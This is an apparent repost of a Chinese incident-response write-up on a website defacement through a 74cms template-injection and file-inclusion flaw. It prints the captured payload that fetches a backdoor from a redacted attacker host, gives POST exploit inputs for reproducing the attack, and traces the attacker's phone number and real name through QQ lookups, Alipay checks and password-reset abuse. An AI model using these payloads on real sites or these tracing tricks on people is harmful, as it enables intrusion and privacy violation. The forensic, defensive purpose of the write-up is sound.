文本转载于:https://www.freebuf.com/articles/web/289450.html

1. 前言

今年的某月某日,系统监测到客户的一企业官网www.******.com遭到了网页篡改,经过人工确认将浏览器的UA替换为百度UA后访问网站,此时网站链接自动跳转至赌博类违规网站,当日上午随即受到客户的召唤,立刻赶往客户单位进行初步检查,并将相关日志文件及样本拷回做进一步分析。

2. 事件分析

因去到现场时index.php文件已经被网站管理员恢复了,但问题不大,还好这哥们留了个心眼备份了文件index_.php,定位到被篡改的文件为首页面的index_.php,被修改的时间为2021/7/18 18:31:04,可看到攻击者直接替换掉了首页文件的内容。该PHP内容经过判断,来自浏览器各大搜索引擎的UA情况后将其访问跳转至特定的网站,其中$curl=base64_decode("aHR******************W5kZXgucGhwP2hvc3Q9")经过解码后为https://yin*******.com/index.php?host=,该连接可以理解为攻击者的灰色产业流量随机生成跳转页面。

继续对其事件服务器排查,发现其被篡改的网站为小皮软件所搭建,中间件为Apache,其数据库与FTP服务账号密码均为弱口令,而且服务器上共部署了9个网站之多。

3. 攻击分析

使用D盾对其所在的目录进行后门查杀,并查杀出了多个后门文件,其中最早的后门文件存在另一个网站****系统的web目录上被上传的时间为2019/1/11。

发生篡改的系统为服务器上的****系统其目录为r****5,该目录下的后门文件最早的时间为2021/3/17,发生篡改的时间为2021/7/18号,可看到在篡改前2021/7/17是有新的后门文件产生的。

可看到最近的2021/7/17 22:41:34时有条log的日志文件产生,且日志内容带有恶意的后门语句。

跟进到\data\Runtime\Logs\Home目录下查看21_07_17.log,可见22:41:34时162.***.***.***的IP在/index.php?m=home&a=assign_resume_tpl进行了远程文件包含的操作

<?php fputs(fopen("home.php","w"),"notfound!!!<?php file_put_contents('url.php',file_get_contents(base64_decode('aHR***************GkudHh0')));?>")?>

将其内容写入home.php文件并在22:41:36生成到了网站的根目录下。

打开home.php文件可见攻击者已成功将其内容写入至文件中。

其中aHR**********************veGkudHh0经过base64解码得到链接http://******8.top/xi.txt,该内容为php一句话后门语句。

在‏‎22:41:39时攻击者并使用home.php文件远程读取一句话后门的TXT文件并生成了url.php的后门文件,其后门内容与远端TXT文件内容一致。

至此,攻击者在2021/7/18号18:30:31时上传了logo.jpg文件其内容就是index.php恶意跳转的代码,并在18:31:04时替换掉了index.php 达到了篡改的目的。

4. 攻击复现

查看Application目录下的文件,可看到该被入侵篡改网站使用的是74cms所搭建的,其版本为6.0.13。

据了解小于6.0.48的版存在模板注入与文件包含漏洞,恰好被篡改的网站74cms的版本在漏洞版本的范围内,攻击者则是利用了该版本的漏洞达到的getshell的目的,下面将含有漏洞的版本下载至本地搭建复原攻击者漏洞利用的过程。

该漏洞位于/Application/Common/Controller/BaseController.class.php文件的assign_resume_tpl函数因为过滤不严格,导致了模板注入,可以进行远程命令执行。

访问http://127.0.0.1/index.php?m=home&a=assign_resume_tpl,使用POST方式提交数据:

variable=1&tpl=<?php phpinfo(); ob_flush();?>/r/n<qscms/company_show 列表名="info" 企业id="$_GET['id']"/>

随后到data\Runtime\Logs\Home目录下产生了错误的log日志文件,并将phpinfo写入到了日志文件中。

接下来就是包含日志里记录的phpinfo语句,POST方式提交

variable=1&tpl=data/Runtime/Logs/Home/21_07_23.log

成功利用文件包含漏洞包含出了phpinfo。

5. 溯源攻击者

经以上分析得知,攻击者在17-18号期间利用该漏洞最终生成了url.php的后门文件,提取出access.log中间件日志文件17到18号的流量,再从其中筛选出url.php的流量情况,共得到45.**.***.***(美国)、27.***.***.***(韩国)、61.***.***.***(香港)三个IP,目测这三个IP均为攻击者的代理IP。

上述得到的攻击参数中,base64解码得到链接http://******8.top/xi.txt为存放一句话的文本,其网站首页为攻击者的个人页面。*****8.top因使用的是Cloudflare服务商的CND加速无法获取到服务器真实的IP,但在查询历史解析时hacker.******8.top二级域名解析过103.***.***.***(香港),经访问该IP这是目前*****.top域名的真实IP。

对103.***.***.***这个IP进行端口探测以及目录扫描,其中根目录下的xin.txt、xi.txt、dama.txt、123.txt均为后门文件的文本格式可见该攻击者应该是职业的黑灰产人员了,根目录下的config.json则为猫池挖矿钱包地址:4AW2XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX

Pass:2021

进一步的信息收集通过对103.***.***.***历史绑定的域名反查,在2021/07/12时heike****.com解析到过该IP。

访问heike****.com可看到该网站为黑客性质类论坛,目前域名解析的IP为154.***.***.***,其443端口为黑客性质与黑产SEO相关网站。

回到*****8.top这个攻击者的个人页面网站,在查看网页源码时发现其显示的头像链接https://q2.qlogo.cn/headimg_dl?dst_uin=77*******&spec=640&img_type=jpg,其源码调用的是QQ头像库的链接,得到QQ号77*******与其QQ资料的头像相同。

使用大数据检索库得到其QQ绑定的手机号为17*********,归属地为内蒙古锡林郭勒,运营商中国电信。

使用支付宝转账功能证实该手机号已实名,并得到某宁名字,且头像为个人自拍帅照一张,资料显示也为内蒙古地区,并且其微信也是绑定该手机号。

经过以上的溯源我们得到了基本的信息,可以确定该攻击者从事的是黑灰产的SEO,专门通过入侵互联网上脆弱的网站植入后门、暗链、跳转劫持等以达到提高其网站的流量与权重,黑帽SEO的盈利模式通常是以访问量来结算的,所以就得有各大平台的流量统计插件来统计访问量,下面继续收集其信息。

访问http://*****8.top/seo/目录在以下统计图标中得到https://www.cnzz.com/stat/website.php?web_id=128******友盟的统计ID。

并在友盟统计登录的忘记密码功能处,输入账号(为前面域名的名)找回密码得到该账号绑定的手机号为159********。

在http://*****8.top/seo/tz.js的跳转脚本中指向http://*****8.top/seo/cps.html页面。

访问该页面得到另一个友盟的统计ID:https://uweb.umeng.com/v1/login.php?siteid=127x******

捕获前面篡改跳转到https://yin*****.com违规网站的js文件,得到到百度统计的ID:https://hm.baidu.com/hm.js?fe000000000000000000000000000同时也得到yin*****.html页面该名称对应友盟统计ID:12*******的用户名yin****。

在百度统计的密码找回功能中,经模糊测试同源名称其中用户名为****888、****8888、****88888均存在注册。

在源代码尾部得到其51la的SDKid:JNT**********

6. 总结

经过以上分析,攻击者在2021/7/17 时通过骑士cms的注入与文件包含漏洞写入了url.php一句话后门文件,并上传logo.jpg文件替换掉了index.php网站首页的内容使得将网站跳转至赌博网站。

修复建议:

该网站被多次篡改并留存其他攻击者的后门文件时间久远,建议对服务器整个磁盘进行webshell后门查杀。

网站所使用的cms框架版本过低存在高危漏洞,关注骑士cms官网发布补丁以及修复方法http://www.74cms.com/news/show-2497.html。

服务器上的数据库与FTP服务均为弱口令,建议增强口令的复杂度,8位字符以上且具有大小写组合。

7. 小Tisp

类似于这类的页面篡改事件,当我们去现场后该如何开展相应的工作呢。

1.到达客户现场后第一时间告知网站管理人员请勿对被篡改文件进行删除或修改,本次事件的网站管理员就马上把重要证据文件给修改恢复了,但不过还好这位小哥备份了下来,建议去现场前电话跟客户电话沟通好能不动的就不动,最好是直接拔网线断网,留好证据方便后面溯源的工作。

2.到现场后跟网站管理人员,发生篡改后有没有自己进行巡检自己发现什么异常之类的,自主发现的话是什么时候发现的呢,确定好被篡改文件的首次修改时间,对下面核对日志溯源的工作至关重要。

3.通过判断确认该篡改为内容篡改还是跳转劫持类型的,询问网站管理员当前web文件存放的位置除了被篡改的网站还有没有其他系统的网站,都开了那些端口之类的。

4.看当前环境下的拓扑图,看是否有记录流量设备的日志,如果有此次篡改的攻击有没有产生什么相应的告警之类的等等。

5.很多单位的等保系统现在也都部署了网页防篡改系统,但也屡屡发生被篡改的事件,以往的经验来看,部署了还发生篡改的要么就是防护的目录不到位,要么就是上防护之前就已经遗留有后门文件了,还有就是程序员在更新代码时把防护关了后就忘了再次开起来了,所以也要有必要的问一下有没有进行一个查杀后门文件的周期工作,还有防护了那些目录或者页面等。

记一次应急响应到溯源入侵者相关推荐

  1. 记一次应急响应之ssh日志和apache2日志分析

    文章目录 学习笔记连接 第一部分 查看系统情况 0x01 查看端口 0x02 账号安全 0x03 查看ssh日志信息 第一步 查看登陆成功的日志 第二步 查看正常退出的日志 第三步 连接到服务器,提示 ...

  2. 信安软考 第十七章 网络安全应急响应技术原理与应用

    一.网络安全应急响应概述 网络安全应急响应是指为应对网络安全事件,相关人员或组织机构对网络安全事件进行监测.预警. 分析.响应和恢复等工作 网络安全应急响应是网络空间安全保障的重要机制,<中华人 ...

  3. 信息安全-网络安全应急响应技术原理与应用(二)

    一.网络安全应急响应技术与常见工具 1.1 网络安全应急响应技术概况 网络安全应急响应是一个复杂的过程,需要综合应用多种技术和安全机制 在网络安全应急响应过程中,常用到的技术如表所示 应急响应常用技术 ...

  4. 红蓝对抗-记一次HW攻防实战应急响应流程

    记一次HW攻防实战应急响应流程 文章目录 记一次HW攻防实战应急响应流程 背景 溯源 后续反思 背景 记一次今年五月份为期两周的的HVV应急演练. 红队发表了攻击报告,直接给我们扣了七千多分. 客户和 ...

  5. web漏洞 云盾_云盾WAF实现虚拟补丁——记一起Web漏洞应急响应

    原标题:云盾WAF实现虚拟补丁--记一起Web漏洞应急响应 来自真实案例的虚拟总结.见招拆招,而且还得以最快的速度完成,云盾WAF扛得起! 忧伤的周六早晨 "云盾.先知"的渗透测试 ...

  6. 应急响应 | TeamTNT挖矿木马应急溯源分析

    声明:本人坚决反对利用文章内容进行恶意攻击行为,一切错误行为必将受到惩罚,绿色网络需要靠我们共同维护,推荐大家在了解技术原理的前提下,更好的维护个人信息安全.企业安全.国家安全. 在前一周的时间里,客 ...

  7. 记一次云安全的安全事件应急响应

    传统的安全应急响应相信大家都见过,在之前的博文中也有过介绍.上周末我们的一个客户发生的虚拟货币丢失事件,我们安全组介入排查,当时很久都没有头绪,经过某同事的灵光一闪,我们发现了转机.一句话而言,云计算 ...

  8. 记一次盖茨木马应急响应

    前言:​ 这是一篇两年前的应急响应了,今天拿出来给大家分享一下排查思路 客户阐述 客户说服务器中病毒了,不占用CPU和带宽,但是影响业务:有两拨人去清除过了,但是每次都是没多久就又出来了,形容的比较模 ...

  9. 记一次服务器入侵事件的应急响应

    0x01 事件背景 8月某日,客户官网被黑,需在特定时间内完成整改.为避免客户业务受到影响,实验室相关人员第一时间展开本次攻击事件的应急处理. 0x02 事件分析 网站源码被篡改,攻击者一定获取到了权 ...

最新文章

  1. 《C语言程序设计:问题与求解方法》——3.9节常见编程错误
  2. golang 获取本地ip
  3. Mac OS使用技巧之十二:解决APP Store更新、下载出错的问题
  4. wxpython图形编程_wxpython  图像编程
  5. golang nil 不等于 nil的问题
  6. 史上最走心的Webpack4.0中级教程——配置之外你应该知道事
  7. 百度宣布7nm制程AI芯片“昆仑芯2”实现量产
  8. 光子不维护服务器,光子云和光子服务器
  9. 还不会用typedef?C语言typedef的详细用法总结,一篇解决你的困惑。(学习笔记2--typedef设置别名)
  10. mysql完成字符串分割
  11. bzoj 4131: 并行博弈(博弈)
  12. 《数位板这样玩——Photoshop+Painter数码手绘必修课(第2版)》目录—导读
  13. docker学习记录 docker 脚本(一)
  14. python3.6 messagebox_python3.6.0-32 sqlite tkdnd tkinterdnd2 拖拽 快捷方式管理
  15. sql92和sql99的区别
  16. 第三篇:DAMA数据管理知识体系
  17. python 生成诸如A001 A002 ... A100这样的序列
  18. 速通C语言支线第一站 基础刷题
  19. 2db多少功率_db换算(db和功率的换算)
  20. 居民身份证阅读器产品开发学习心得(再谈标准-软件-协议)

热门文章

  1. jwt获取token_Koa开发之koa-jwt工作过程
  2. Collatz函数的C++递归实现
  3. Java异常处理(2)--异常处理机制及自定义异常
  4. java支持的数据类型有哪些_Java支持的数据类型有哪些?什么时候自动装拆箱?...
  5. mysql8.0设置用户权限_mysql8.0建立用户授予权限报错解决方法
  6. Codeforces 999F Cards and Joy 【dp】【性质】
  7. Something about Giraffe (II)
  8. 【hdoj_2152】Fruit(母函数)
  9. Nginx下配置Http Basic Auth
  10. WinForm - 两个窗体之间的方法调用